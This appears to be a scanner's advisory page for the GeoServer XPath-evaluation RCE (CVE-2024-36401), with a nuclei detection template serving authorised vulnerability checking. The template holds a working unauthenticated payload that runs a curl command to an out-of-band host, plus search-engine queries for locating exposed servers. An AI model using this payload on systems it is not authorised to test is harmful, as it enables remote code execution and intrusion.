GeoServer RCE in Evaluating Property Name Expressions

Exploited in the wild. Listed by CISA on 2024-07-15; known to be used by ransomware.

criticalseverity

99.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.

Impact

This vulnerability can lead to executing arbitrary code.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage
Send: @timeout 20s
Positive when: contains in interactsh_protocol "dns" AND contains in content_type "application/xml"

Run it with nuclei: nuclei -id CVE-2024-36401 -u <target>

The full check

id: CVE-2024-36401

info:
  name: GeoServer RCE in Evaluating Property Name Expressions
  author: DhiyaneshDk,ryanborum
  severity: critical
  description: |
    In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    This vulnerability can lead to executing arbitrary code.
  reference:
    - https://x.com/sirifu4k1/status/1808270303275241607
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36401
    - https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
    - https://github.com/advisories/GHSA-6jj6-gm7p-fcvv
  classification:
    epss-score: 0.99813
    epss-percentile: 0.99959
  metadata:
    verified: true
    max-request: 1
    vendor: osgeo
    product: geoserver
    shodan-query: "Server: GeoHttpServer"
    fofa-query:
      - title="geoserver"
      - app="geoserver"
    google-query: intitle:"geoserver"
  tags: cve,cve2024,geoserver,rce,unauth,kev,vkev,vuln

flow: |
   if(http(1))
   {
   set("name",template.typename[0])
   http(2)
   }

http:
  - raw:
      - |
        GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    extractors:
      - type: regex
        name: typename
        part: body
        group: 1
        regex:
          - typeName=([^&\]]+)
        internal: true

  - raw:
      - |
        @timeout 20s
        GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames={{name}}&valueReference=exec(java.lang.Runtime.getRuntime(),'curl+{{interactsh-url}}') HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: content_type
        words:
          - "application/xml"

References

Use this check only on systems you are authorised to test. Where the data comes from